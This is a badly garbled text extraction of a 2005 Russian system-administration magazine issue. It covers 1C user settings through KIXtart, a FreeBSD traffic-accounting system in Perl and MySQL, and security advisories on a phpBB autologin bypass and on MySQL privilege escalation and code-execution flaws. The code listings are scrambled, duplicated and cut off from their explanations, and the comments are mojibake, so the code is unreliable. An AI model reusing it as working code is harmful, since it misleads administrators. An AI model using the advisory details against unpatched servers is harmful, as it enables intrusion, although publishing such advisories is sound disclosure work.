Установка пользователя 1С по умолчаниюОсуществив вход в сеть, пользователь, запускающий 1Сожидает увидеть, что при авторизации входа в базу 1С изсписка ему будет предложено по умолчанию его имя. Длятого чтобы это реализовать, необходимо, чтобы имя пользо-вателя в сети и 1С либо совпадали, либо были взаимосвя-заны при помощи какого-либо правила. Для удобства ра-боты пользователей рекомендуется сделать имена пользо-вателей в сети и в 1С идентичными. Имя пользователя поумолчанию в каждой базе отдельно в разделе HKCU\Soft-ware\1c\1cv7\7.7\BASE_NAME|startup значением параметраUserName. Поскольку значение этого параметра совпада-ет с именем пользователя в сети, то рекомендуется вос-пользоваться одним из встроенных макросов в KIXTart –@userid, с помощью которого определяется имя текущегопользователя.

Листинг этой функции выглядит следующим образом:

Листинг рекомендуется включить в процедуру сопостав-ления списка баз в раздел добавления баз, сразу послефункции записи нового значения базы в разделе Titles.

В том случае если указанное имя пользователя не най-дено (см. рис. 2) в списке пользователей 1С, то сама про-грамма уничтожит созданную запись пользователя по умол-чанию, и пользователь увидит пустое поле. С помощью рас-крывающегося списка он должен будет выбрать имя пользо-вателя, под которым он будет работать с базой 1С.

ЗаключениеРезультатом работы созданного сценария является форми-рование списка баз 1С, с которыми пользователь имеет пра-во работать. При выборе базы 1С, имя пользователя по умол-чанию определяется автоматически. Таким образом, припереходе бухгалтера с одной рабочей станции на другую илисмены его должностных обязанностей, затраты на админис-трирование значительно сокращаются: управление подклю-чением баз осуществляется в автоматическом режиме. Но-вый инструмент может быть подключен к сценарию регист-рации пользователей в сети в качестве функции. В прило-жении (на сайте журнала http://samag.ru в разделе «Исход-ный код») приведены примеры листинга конфигурационно-го файла config.ini и непосредственно сценарий.

; óäàëåíèå ëèøíèõ áàçfor $dfg=0 to ubound($1c_Ñonnected)$flag_p=0$flag_p=AScan($1c_Must, $1c_Connected[$dfg])

if $flag_p=-1$group=$1c_Connected[$dfg]

DelValue ($1c_path, ↵↵↵↵↵Left($Group,Instrrev($Group,$meta)-1))endif

next; ïîäêëþ÷åíèå íåäîñòàþùèõ áàç

for $dfg=0 to ubound($1c_must)$flag_p=0$flag_p=Ascan($1c_connected,$1c_must[$dfg])

if $flag_p=-1

WriteValue ($1c_base+"\"+Right($group, ↵↵↵↵↵Len($group) - Instrrev($group, $meta)-↵↵↵↵↵Len($meta)+1)+"\StartUp", "UserName", @userid, "REG_SZ")

Ðèñóíîê 2

[1C]; ïî óìîë÷àíèþ âåòâü HKCU1C_Registry=Software\1c\1cv7\7.7\Titles

$1C_Registry_Val = ReadProfileString($FName, $Section,�1C_Registry�)

dim $1c_connected[]$m=0$n=0

DO$1c_Title=EnumValue($1C_Registry_Val, $m)$1c_Name=ReadValue($1C_Registry_Val, $1c_Title)

if Lcase(Left($1c_Title,1))= ↵↵↵↵↵Lcase($1C_Letter_VaL)

ReDim Preserve $1C_Connected[$n]$1C_Connected[$n]= ↵↵↵↵↵

Ucase($1c_Title)+↵↵↵↵↵$meta +$1c_Name

$n=$n+1endif

$m = $m + 1UNTIL Len($1c_Title) =0

$group=$1c_must[$dfg]WriteValue ($1c_Path, Left($group, ↵↵↵↵↵

Instrrev($group,$meta)-1), Right($group, ↵↵↵↵↵Len($group)-Instrrev($group, $meta) - Len($meta)+1), ↵↵↵↵↵"REG_SZ")

endifnext

Page 54: 028 Системный Администратор 03 2005

52

администрирование

В предыдущей части статьи мы рассмотрели, как устано-вить и запустить ng_ipacct, а также рассмотрели созданиесвоих собственных скриптов для запуска и остановки раз-рабатываемой системы учета трафика.

Дальнейшая цель – получить статистику и поместить еев базу. Что нам для этого нужно? В первой части статьи,когда описывался ng_ipacct, указывалось, что для снятиястатистики необходимо последовательно проделать следу-ющее: передать данные в checkpoint-базу, потом вывестиданные при помощи show (перенаправить в файл) и очис-тить checkpoint для получения следующей порции данных.

Таким образом, мы сразу же определили, что нам нуж-но сложить статистику в файл при помощи перенаправле-ния вывода show. А после этого, уже считывая из файладанные, отправить в базу. Для того чтобы не было смеши-вания всех интерфейсов в одном файле, мы также должныусловиться заранее, что для каждого интерфейса будетсоздан свой собственный файл статистики, а также одинобщий, куда будет складываться статистика со всех интер-фейсов. В этих файлах будет указано имя хоста, время по-лучения порции записей, дата и самое главное – интер-фейс. Почему так акцентируется внимание на интерфейсе?Очень просто. У нас могут быть каналы на одной машине,где локальный трафик считается, а также где он бесплат-ный. Учесть нам необходимо платный. Соответственно нуж-но знать, какой интерфейс принял или отправил пакет.

Что ж, основная установка сделана. Остальное – по ходуповествования.

Для начала создадим две вещи: базу, куда будут запи-сываться данные, и папку, где будут располагаться времен-ные файлы со статистикой интерфейсов.

Одновременно были даны права пользователю nguserна добавление, обновление, удаление записей и их выбор-ку, а также на создание таблиц.

Итак, вновь возвращаемся к написанию скриптов:

И начинаем вносить данные. Первым делом необходи-мо подключить два модуля perl, которые будут использо-ваться:

Последний у вас должен быть по умолчанию в системе,а вот наличие DBI необходимо проверить. Самый простойспособ – отправить на исполнение скрипт уже в таком виде.Выдаст ошибку – значит, отсутствует или не соответствуеттекущей версии perl (например, вы обновили perl, а все со-путствующие модули нет).

Что ж, это поправимо:

Если у вас стоит MySQL не 3.23 версии, а 4 и выше, товыберите соответствующий вариант вместо p5-DBD-mysql.После этого можно смело приступать к дальнейшим мани-пуляциям.

Для подключения к базе данных нужно снова считатьконфигурационный файл и все параметры, необходимыедля того, чтобы выяснить:! какие интерфейсы подключены;! имя сервера базы данных;! имя базы данных;! имя и пароль пользователя для доступа к базе.

Все это описано в конфигурационном файле (смотритепервую часть статьи в №2, 2005 г.). Но сначала опять нуж-но задать основные переменные.

Некоторые из них нам не потребуются. Но это удобнаязаготовка для всех скриптов. Мы по очереди вносим необ-ходимые параметры, всего лишь модернизируя уже имею-щийся скрипт. «Лишние» переменные можно будет убратьна этапе отладки.

САГА О БИЛЛИНГЕ,ИЛИ СЧИТАЕМ ТРАФИК НА FreeBSD(ng_ipacct + Perl + MySQL)ЧАСТЬ 2

ВЛАДИМИР ЧИЖИКОВ

mysql> create database ng_stat;

Query OK, 1 row affected (0.04 sec)

mysql> grant insert,create,update,select,delete on ng_stat.*

to nguser@'%' identifiedby 'ngpassword';

Query OK, 0 rows affected (0.08 sec)

# touch ng_stat_in.pl

#!/usr/bin/perl -wuse DBI;use Time::localtime;

# cd /usr/ports/databases/p5-DBI/# make && make install && make clean && rehash# cd /usr/ports/databases/p5-DBD-mysql# make && make install && make clean && rehash

# Ñïèñîê îñíîâíûõ ïåðåìåííûõmy $serverdb = "test";my $dbname = "test";my $dbuser = "test";my $dbpass = "test";my $table_auth = "test";my $table_proto = "test";my $listen_host = "test";my @listen_interf;my @ng_modules;my $ng_modules_def = "netgraph,ng_ether,ng_socket, ↵↵↵↵↵

ng_tee,ng_ipacct";my $threshold = 5000;my $ipacct_log = '/usr/local/script/ng_stat/log/ng.log';

Page 55: 028 Системный Администратор 03 2005

53№3, март 2005

администрирование

Самое важное в этом списке «my $ipacct_log = “/usr/local/script/ng_stat/log/ng.log”» – мы указали расположение основ-ного файла, куда по умолчанию будет записываться всястатистика (с интерфейсами, временем и т. д.).

Что ж, читаем дальше конфигурационный файл. Он ос-тается без изменений, так что приводить его не буду.

Проверяем время на машине. Именно это время и бу-дет записываться в базу:

Почему в переменной $year мы добавляем 1900? Оченьпросто – она ведет отсчет от 1900 года. Почему в месяцахприбавляем единицу? Переменная возвращает значения от0 до 11.

Функция sprintf вернет значения переменных $hour, $secи $min числом из двух цифр, если полученное значение бу-дет меньше 10. Например, одна секунда, после полученияее значения, будет 1, а нужно 01.

Последний параметр $table_date определяет имя таб-лицы в базе данных.

Далее идет конструкция для проверки, установлены ин-терфейсы или нет. Если все в порядке, начинаем подготов-ку к тому, чтобы закачивать данные на сервер.

Первым делом необходимо получить данные с интер-фейсов и записать во временные файлы.

Обращаю внимание на то, что полный путь к ipacctctlхранится в переменной $ipacctctl – так как скрипт будетработать по cron, то здесь желательно указать полный путьк нему, ибо не всегда cron сможет получить переменные изпрофиля того пользователя, от имени которого будет ис-полняться команда или программа.

Как видите, первыми идут checkpoint, show, clear. На эта-пе show мы перенаправляем данные во временный файл.

# Ïðîâåðÿåì âðåìÿ.$gm = localtime();$year = ($gm->year()) + 1900;$mounth = ($gm->mon()) + 1;$mday = $gm->mday();$date = "$mday-$mounth-$year";$hour = $gm->hour();$min = $gm->min();$sec = $gm->sec();$hour=sprintf("%02d",$hour);$min=sprintf("%02d",$min);$sec=sprintf("%02d",$sec);$time = "$hour\:$min\:$sec";$table_date = "$year\_$mounth";

while (@listen_interf){$interface = shift @listen_interf;my $pid;$pid = fork;if (defined $pid) {

if ($pid == 0){#$IPACCTCTL ${IFACE}_ip_acct:$IFACE checkpoint

exec "/usr/local/sbin/ipacctctl ↵↵↵↵↵$interface\_ip_acct:$interface checkpoint" or die ↵↵↵↵↵"Îøèáêà ïåðåäà÷è çàïèñè â checkpoint-áàçó!\n";

exit;}

}else {

print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵↵↵↵↵\n.................\n";

die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵↵↵↵↵\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";

}do {

$kid = waitpid $pid,0;if ($kid == -1) {print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵↵↵↵↵

èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵↵↵↵↵and die "Âûõîä!\n";

} elsif ($kid == 0) {print "Çàäàí íå áëîêèðóþùèé ↵↵↵↵↵

âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";}

} until $kid=$pid;undef $pid;$pid = fork;if (defined $pid) {

if ($pid == 0){

#$IPACCTCTL ${IFACE}_ip_acct:$IFACE show >> $DIR/$SDIR/$NAMEexec "/usr/local/sbin/ipacctctl ↵↵↵↵↵

$interface\_ip_acct:$interface show >> ↵↵↵↵↵$ipacct_log\.$interface" or die "Îøèáêà ïåðåäà÷è ↵↵↵↵↵çàïèñåé èç checkpoint-áàçû â ôàéë!\n";

exit;}

}else {

print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵↵↵↵↵\n.................\n";

die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵↵↵↵↵\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";

}do {

$kid = waitpid $pid,0;if ($kid == -1) {print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵↵↵↵↵

èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵↵↵↵↵and die "Âûõîä!\n";

} elsif ($kid == 0) {print "Çàäàí íå áëîêèðóþùèé ↵↵↵↵↵

âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";}

} until $kid=$pid;undef $pid;$pid = fork;if (defined $pid) {

if ($pid == 0){#$IPACCTCTL ${IFACE}_ip_acct:$IFACE clear

exec "/usr/local/sbin/ipacctctl ↵↵↵↵↵$interface\_ip_acct:$interface clear" or die ↵↵↵↵↵"Îøèáêà ïðè î÷èñòêå checkpoint-áàçû! \nÁàçà íå î÷èùåíà. ↵↵↵↵↵Âîçìîæíî ïåðåïîëíåíèå. Î÷èñòèòå áàçó â ðó÷íóþ\n";

exit;}

}else {

print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵↵↵↵↵\n.................\n";

die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵↵↵↵↵\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";

}do {

$kid = waitpid $pid,0;if ($kid == -1) {print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵↵↵↵↵

èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵↵↵↵↵and die "Âûõîä!\n";

} elsif ($kid == 0) {print "Çàäàí íå áëîêèðóþùèé ↵↵↵↵↵

âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";}

} until $kid=$pid;undef $pid;$TMPLOG= "$ipacct_log\.$interface";open (TMPLOG, "$TMPLOG");$TMPLOG =~ s/\||`|&&|<|>//gi; #Î÷èñòêà ðÿäà ↵↵↵↵↵

ñèìâîëîâ | ` && < > èç ïóòè ê ôàéëó.while (<TMPLOG>){

$tmp_log_line=$_;chomp $tmp_log_line;$tmp_log_line = "$tmp_log_line $date ↵↵↵↵↵

$time $listen_host $interface";push @ipacct_arr,$tmp_log_line;

}close (TMPLOG);truncate ($TMPLOG,0);undef $pid;

}

Page 56: 028 Системный Администратор 03 2005

54

администрирование

Временный файл определяется основным файлом статис-тики с приставкой имени интерфейса, то есть для rl0 он бу-дет выглядеть как /usr/local/script/ng_stat/log/ng.log.rl0. И такпоочередно для каждого из интерфейсов. После занесенияданных эти файлы считываются. Каждая строка из них бу-дет дополнена необходимой информацией (дата, время, имяхоста, интерфейс) и занесена в массив.

После того, как временный файл считан до конца, мыего очищаем (можно в принципе и удалить, хотя это неэф-фективно).

так поочередно мы заполним данными со всех интерфей-сов массив @ipacct_arr. Его, кстати, необходимо внести всписок основных переменных, которые были объявлены вначале скрипта.

Я указал кроме него еще один массив – он сейчас тожепотребуется.

Этим действием все содержимое массива, полученно-го на предыдущем шаге, заносится в основной файл стати-стики. Теперь в случае любых перипетий (недоступностьсервера, отсутствие созданной базы или неправильныйлогин/пароль) вся статистика будет накапливаться в нем.Именно поэтому и было указано то, что в случае пополне-ния записей они должны дописываться в конец файла.

Статистика получена. Теперь наступил самый ответ-ственный этап. Необходимо привести к нужному виду каж-дую строку в файле статистики. Проверить доступностьсервера и необходимой базы и таблицы. Если все в полномпорядке, то внести данные. Вот как полностью будет выг-лядеть этот блок:

$tmp_log_line = "$tmp_log_line $date $time $listen_host ↵↵↵↵↵$interface";

push @ipacct_arr,$tmp_log_line;

truncate(�$TMPLOG�,0);

my @ipacct_arr;my @ipacct_arr_in;

open (IPCTLOG,">>$ipacct_log");while (@ipacct_arr){

$line_arr = shift @ipacct_arr;$line_arr = "$line_arr\n";print IPCTLOG $line_arr;

}close(IPCTLOG);

open (IPCTLOG,">>$ipacct_log");

while (@listen_interf){$interface = shift @listen_interf;my $pid;$pid = fork;if (defined $pid) {

if ($pid == 0){#$IPACCTCTL ${IFACE}_ip_acct:$IFACE checkpoint

exec "/usr/local/sbin/ipacctctl ↵↵↵↵↵$interface\_ip_acct:$interface checkpoint" or die ↵↵↵↵↵"Îøèáêà ïåðåäà÷è çàïèñè â checkpoint-áàçó!\n";

exit;}

}

else {print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵↵↵↵↵

\n.................\n";die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵↵↵↵↵

\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";}do {

$kid = waitpid $pid,0;if ($kid == -1) {print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵↵↵↵↵

èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵↵↵↵↵and die "Âûõîä!\n";

} elsif ($kid == 0) {print "Çàäàí íå áëîêèðóþùèé ↵↵↵↵↵

âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";}

} until $kid=$pid;undef $pid;$pid = fork;if (defined $pid) {

if ($pid == 0){#$IPACCTCTL ${IFACE}_ip_acct:$IFACE show >> $DIR/$SDIR/$NAME

exec "/usr/local/sbin/ipacctctl ↵↵↵↵↵$interface\_ip_acct:$interface show >> ↵↵↵↵↵$ipacct_log\.$interface" or die "Îøèáêà ïåðåäà÷è ↵↵↵↵↵çàïèñåé èç checkpoint-áàçû â ôàéë!\n";

exit;}

}else {

print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵↵↵↵↵\n.................\n";

die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵↵↵↵↵\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";

}do {

$kid = waitpid $pid,0;if ($kid == -1) {print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵↵↵↵↵

èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵↵↵↵↵and die "Âûõîä!\n";

} elsif ($kid == 0) {print "Çàäàí íå áëîêèðóþùèé ↵↵↵↵↵

âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";}

} until $kid=$pid;undef $pid;$pid = fork;if (defined $pid) {

if ($pid == 0){#$IPACCTCTL ${IFACE}_ip_acct:$IFACE clear

exec "/usr/local/sbin/ipacctctl ↵↵↵↵↵$interface\_ip_acct:$interface clear" or die ↵↵↵↵↵"Îøèáêà ïðè î÷èñòêå checkpoint-áàçû! \nÁàçà íå î÷èùåíà. ↵↵↵↵↵Âîçìîæíî ïåðåïîëíåíèå. Î÷èñòèòå áàçó âðó÷íóþ\n";

exit;}

}else {

print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵↵↵↵↵\n.................\n";

die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵↵↵↵↵\n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n";

}do {

$kid = waitpid $pid,0;if ($kid == -1) {print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵↵↵↵↵

èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵↵↵↵↵and die "Âûõîä!\n";

} elsif ($kid == 0) {print "Çàäàí íå áëîêèðóþùèé ↵↵↵↵↵

âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n";}

} until $kid=$pid;undef $pid;$TMPLOG= "$ipacct_log\.$interface";open (TMPLOG, "$TMPLOG");$TMPLOG =~ s/\||`|&&|<|>//gi; #Î÷èñòêà ðÿäà ↵↵↵↵↵

ñèìâîëîâ | ` && < > èç ïóòè ê ôàéëó.while (<TMPLOG>){

$tmp_log_line=$_;

Page 57: 028 Системный Администратор 03 2005

55№3, март 2005

администрирование

Как видно из кода, присутствует вызов трех подпрог-рамм. Выполняемые ими функции интуитивно понятны изназвания (&parse_log_file; &check_in_mysql; &insert_data_db;).

Рассмотрим их поочередно.

Все, что мы делаем здесь, – производим разбор строкиосновного файла. И все имеющиеся символы пробела илитабуляции заменяем на единичные символы табуляции. Ивносим данные в объявленный выше массив @ipacct_arr_in.После того как все данные из файла были внесены в мас-сив, этот файл обнуляется для записи последующей пор-ции данных.

Что ж, проверим доступность mysql и наличия таблиц:

Первой строкой мы объявили переменные, которые бу-дут использоваться для соединения. Второй устанавливаемсоединение с MySQL. В ней указываем, что необходимо ис-пользовать драйвер mysql DBI, также расположение серве-ра, БД, имя и пароль, которые получили из файла настрой-ки. В случае, если произойдут ошибки, будет выполнена под-программа &error_connection. Ее опишем несколько позже,а пока условимся, что соединение прошло успешно. Следу-ющим пунктом будет запрос. В данном случае проверяетсяналичие необходимых таблиц в базе (SHOW TABLES), а пос-ледняя строка означает выполнение запроса.

Теперь полученный результат занесем в массив:

Самое интересное во всем этом – оператор foreach, ко-торый присваивает переменной $table значения массива@row. Значения этой переменной заносятся в @tables.

В данном блоке устанавливается значение переменной$crt_tbl в yes, чтобы в случае необходимости создать таб-лицу, определенную в переменной $table_date. Последую-щие действия как раз и описывают этап сравнения элемен-тов массива с переменной. Если таблица с таким именемприсутствует, то $crt_tbl принимает значение no.

Если такой таблицы нет, она будет создана при вызовеподпрограммы &crt_table_log.

В этом модуле встречаются две новые подпрограммы.Опишем первую, так как она используется еще в несколь-ких местах. Итак, в случае ошибки соединения необходи-мо срочно остановить выполнение скрипта и сбросить дан-ные обратно в файл.

Вторая создает таблицу, в которую будет производить-ся запись данных.

chomp $tmp_log_line;$tmp_log_line = "$tmp_log_line $date ↵↵↵↵↵

$time $listen_host $interface";push @ipacct_arr,$tmp_log_line;

}close (TMPLOG);truncate ($TMPLOG,0);

undef $pid;}open (IPCTLOG,">>$ipacct_log");while (@ipacct_arr){

$line_arr = shift @ipacct_arr;$line_arr = "$line_arr\n";print IPCTLOG $line_arr;

}close(IPCTLOG);&parse_log_file;&check_in_mysql;&insert_data_db;

}

sub parse_log_file {open (PARSFILE, "$ipacct_log");while ($line_parse=<PARSFILE>) { chomp $line_parse; $line_parse =~ s/[\s\t]+/\t/g; push @ipacct_arr_in, $line_parse;}close (PARSFILE);truncate ("$ipacct_log",0);}

my ($dbh,$sth,$count);$dbh = DBI->connect("DBI:mysql:host= ↵↵↵↵↵

$serverdb;database=$dbname", "$dbuser", "$dbpass") or &error_connection;$sth = $dbh->prepare("SHOW tables");$sth->execute ();

my @row;

$crt_tbl="yes";while (@dbtables) {

$table = shift @dbtables;if (defined $table) {

if ($table eq $table_date) {$crt_tbl="no";

}}

}

if ($crt_tbl eq "yes") {# print "Ñîçäàåì òàáëèöó\n";

&crt_table_log;}$sth->finish;$dbh->disconnect;

sub error_connection {print "Ïðîâåðüòå ïðàâèëüíîñòü èìåíè è ïàðîëÿ íà áàçó ↵↵↵↵↵

â MySQL, åå ñóùåñòâîâàíèå\n";print "Âîçìîæíîé ïðè÷èíîé îøèáêè òàêæå ìîæåò ÿâëÿòüñÿ òî, ↵↵↵↵↵

÷òî ñåðâåð âðåìåííî íåäîñòóïåí\n";print "Áóäåò ïðîèçâåäåíî êîïèðîâàíèå âñåõ äàííûõ ↵↵↵↵↵

â ôàéë:\n\n$ipacct_log \n\n";print "Íàêîïëåíèå ñòàòèñòèêè â ôàéë íå ëèìèòèðîâàíî, ↵↵↵↵↵

íî ýòî ìîæåò ïîâëå÷ü çà ñîáîé";print " âñïëåñê íàãðóçêè íà ñåòü è ñåðâåðà. Ïîýòîìó ↵↵↵↵↵

îáðàòèòå âíèìàíèå íà äàííîå";print " ñîîáùåíèå è âûÿñíèòå êîíêðåòíóþ ïðè÷èíó.\n";foreach $line_arr(@ipacct_arr_in) {

open (DUMPFILE, ">>$ipacct_log");$line_arr = "$line_arr\n";print DUMPFILE $line_arr;close (DUMPFILE);

}die "Âûõîä.\n";}

sub crt_table_log {my ($dbh,$sth,$count);$dbh = DBI->connect("DBI:mysql:host=$serverdb; ↵↵↵↵↵

database=$dbname", "$dbuser", "$dbpass")or &error_connection;

$select = "CREATE TABLE $table_date (ip_from ↵↵↵↵↵varchar(255),s_port varchar(128),ip_to varchar(255), ↵↵↵↵↵

my $tables;while (@row = $sth->fetchrow_array) {

foreach $tables (@row){push @dbtables, $tables;

}}

Page 58: 028 Системный Администратор 03 2005

56

администрирование

Ну и наконец последнее – заносим данные в базу:

Как видите, снова идет пошаговое считывание данныхиз массива. Полученные строки разбиваются на составля-ющие при помощи split. Если значения в этих переменныхотсутствуют, им присваивается значение, равное нулю.

Вот в принципе все. Мы занесли данные в таблицу. Те-перь можно извлекать нужные данные соответствующимизапросами на выборку. Полностью содержимое можно по-смотреть в ng_stat_in.pl. Последние штрихи – помещениесозданного сценария в /usr/local/etc/rc.d и добавление по-добной записи в /etc/crontab.

Наша система готова к сбору статистики. Конечно, онане лишена ряда недостатков. Таковыми можно считать то,что система работает именно от пользователя root, и не име-ет возможности на лету менять конфигурацию. Самое глав-ное ее преимущество – простота. Она предоставляет са-мое удобное хранилище данных, откуда их можно вытянутьи при помощи web, и с консоли, и даже с машины под уп-равлением Windows.

Итак, были выполнены практически все требования кбиллингу. Мы остановимся пока на этом, ибо немаленькийобъем вышел для трех простеньких скриптов. Если у чита-телей появится желание, приведу дополнительный наборскриптов и их описание, систему авторизации через веб-

интерфейс и, если необходимо, графические клиенты подX-Window и MS Windows.

В принципе вы и сами можете написать самые простыезапросы уже сейчас. Приведу еще раз заголовки таблицы:

И простенький запрос к базе на выборку за 10 месяц2004 года суммы прошедшего трафика через интерфейсrl0 сервера freebsd2:

Все остальные скрипты, вне зависимости от своего на-значения, являются вариациями на тему запроса.

Подведем итогиРазобранные выше примеры написания системы учета тра-фика – не полноценный биллинг, так как для такой систе-мы нужно хорошо просчитать структуру самой БД, ее на-грузку, выбрать оптимальные типы полей в таблицах. Дляпримера, в более серьезном и нагруженном варианте (сер-вер провайдера и порядка 20 хостов) необходимо изменитьтипы полей s_port, d_port, ip_from, ip_to на тип int (преобра-зование IP-адреса выполняется встроенными функциямиMySQL), одним словом, уделить очень большое вниманиенастройке оптимальной производительности самой СУБД –здесь она станет узким местом, и, возможно, перейти наальтернативную СУБД.

Но подводя итоги этой статьи, можно с уверенностьюсказать самое главное: ng_ipacct является очень удобнымпрограммным пакетом для сбора полной и детализирован-ной статистики. Причем он не требует каких-то особых за-облачных знаний и предоставляет удобную в отображенииинформацию. Он может заменить вам систему учета тра-фика, даже если вы будете каждый день мигрировать содного типа брандмауэра на другой. При этом особо не на-грузит ваш сервер.

Также можно добавить, что сам процесс сбора статисти-ки и запись полученных данных средствами perl не представ-ляет особой сложности – весь необходимый набор инстру-ментов встроен в perl либо присутствует в виде портов и па-кетов. Большую часть подпрограмм (например, чтение кон-фигурационного файла) можно вынести в отдельный модуль/пакет. Также вполне возможно, что вы несколько перепише-те код под себя – тут уж никто никого не сдерживает. Цельесть, а как к ней добраться – каждый выбирает сам.

sub insert_data_db {my ($dbh,$sth,$count);$dbh = DBI->connect("DBI:mysql:host=$serverdb; ↵↵↵↵↵

database=$dbname","$dbuser","$dbpass") or &error_connection_in;$insert = "INSERT INTO $table_date (ip_from,s_port, ↵↵↵↵↵

ip_to,d_port,proto,packets,bytes,date_ins, ↵↵↵↵↵time_ins,host,interface) VALUES (?,?,?,?,?,?,?,?,?,?,?)";

$sth = $dbh->prepare("$insert");print "$insert\n";while (@ipacct_arr_in) {

$line_in = shift @ipacct_arr_in; ($ip_from, ↵↵↵↵↵$s_port,$ip_to,$d_port,$proto,$packets, ↵↵↵↵↵$bytes,$date_ins,$time_ins,$host,$interface)= ↵↵↵↵↵split(/[\s\t]+/,$line_in);

if (!defined $proto){$proto="0";

}if (!defined $packets){

$packets="0";}if (!defined $bytes){

$bytes="0";}$sth->execute ($ip_from,$s_port,$ip_to,$d_port,$proto, ↵↵↵↵↵

$packets,$bytes,$date_ins,$time_ins, ↵↵↵↵↵$host,$interface);

}$sth->finish;$dbh->disconnect;}

*/15 * * * * ↵↵↵↵↵root /usr/local/script/ng_stat/bin/ng_stat_in.pl

mysql> show columns from 2004_10;

Field Type Null Key Def Ext

ip_from varchar(255) YES MUL NULL

s_port varchar(128) YES NULL

ip_to varchar(255) YES MUL NULL

d_port varchar(128) YES NULL

proto varchar(32) YES MUL NULL

packets int(8) YES MUL NULL

bytes int(16) YES MUL 0

date_ins varchar(32) YES MUL NULL

time_ins time YES MUL NULL

host varchar(128) YES MUL NULL

interface varchar(8) YES MUL NULL

11 rows in set (0.02 sec)

mysql> select sum(bytes) from 2004_10 where host='freebsd2'

and interface='rl0';

sum(bytes)

993453162

1 row in set (0.12 sec)

d_port varchar(128), proto varchar(32), packets int(8), ↵↵↵↵↵bytes int(16) default 0,date_ins varchar(32), ↵↵↵↵↵time_ins time, host varchar(128), interface varchar(8), ↵↵↵↵↵index (ip_from),index (ip_to),index (proto), ↵↵↵↵↵index (packets), index (bytes),index (host), ↵↵↵↵↵index (time_ins), index (date_ins), index (interface))";$sth = $dbh->prepare("$select");$sth->execute ();$sth->finish;$dbh->disconnect;

}

Page 59: 028 Системный Администратор 03 2005

bugtraq

57№3, март 2005

Удаленный административный доступв Phpbb-форумеПрограмма: Phpbb 2.0.12.Опасность: Критическая.Описание: Уязвимость в Phpbb позволяет удаленномупользователю обойти некоторые ограничения безопаснос-ти и получить административные привилегии на форуме.

Уязвимость связана с ошибкой в сравнении «session-data['autologinid']» и «auto_login_key». В результате возмож-но получить административные привилегии на форуме. Ло-гическая уязвимость обнаружена в сценарии includes/sessions.php в следующей строке:

Условие выполняется, если длина $sessiondata['auto-loginid'], представленная в куке пользователя, равна длинепеременной $auto_login_key. Для исправления уязвимостиее необходимо заменить на строку:

Также сообщается об ошибке в «viewtopic.php», кото-рая позволит раскрыть инсталляционный путь.URL производителя: http://www.phpbb.com.Решение: Обновите форум до 2.0.13.

if( $sessiondata['autologinid'] == $auto_login_key )

if( $sessiondata['autologinid'] === $auto_login_key )

Множественные уязвимости в MySQLПрограмма: MySQL версии до 4.0.24 и 4.1.10a.Опасность: Низкая.Описание: Обнаруженные уязвимости позволяют локаль-ному пользователю получить поднятые привилегии в базеданных, удаленному авторизованному пользователю выпол-нить произвольный код на системе с привилегиями mysqld-процесса.

1. Уязвимость существует при использовании временныхфайлов в функции CREATE TEMPORARY TABLE. Локальныйпользователь может создать символическую ссылку с дру-гого файла базы данных на временный файл. Подключить-ся к MySQL с помощью клиента и создать временную таб-лицу, которая будет использовать символическую ссылкувместо обычного временного файла. Таким образом, ло-кальный пользователь может повысить свои привилегии впределах базы данных.

2. Уязвимость существует в функции udf_init() файлаsql_udf.cc из-за некорректной обработки имен директорий.Авторизованный пользователь с привилегиями INSERT иDELETE в административной базе данных mysql может вста-вить специально сформированное значение в поле dl таб-лицы mysql.func и указать расположение специально сфор-мированной библиотеки, которая затем будет выполненабазой данных.

3. Уязвимость существует при использовании командыCREATE FUNCTION. Авторизованный пользователь с при-вилегиями INSERT и DELETE в административной базе дан-ных mysql может использовать команду CREATE FUNCTIONв некоторых libc-функциях (strcat, on_exit, exit и т. д.), чтобывыполнить произвольный код на системе с привилегиямиmysqld-процесса.Пример/Эксплоит: http://www.securitylab.ru/53240.html.URL производителя: http://www.mysql.com.Решение: Установите обновления от производителя.

